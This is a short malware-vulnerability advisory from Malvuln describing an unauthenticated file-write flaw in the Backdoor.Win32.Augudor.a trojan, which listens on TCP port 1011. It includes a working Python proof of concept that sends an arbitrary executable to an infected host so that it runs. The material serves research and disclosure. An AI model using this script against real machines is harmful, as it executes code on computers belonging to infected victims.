Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write - RCE

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/bf1b1a2f4be78d6b62ed7c316c77a9a1.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write - RCE
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.
Family: Augudor
Type: PE32
MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1
Vuln ID: MVID-2022-0501
Dropped files: zy.exe
Disclosure: 03/03/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    s.close()

    print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")
    print("MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1")
    print("By Malvuln");

if __name__=="__main__":
    doit()




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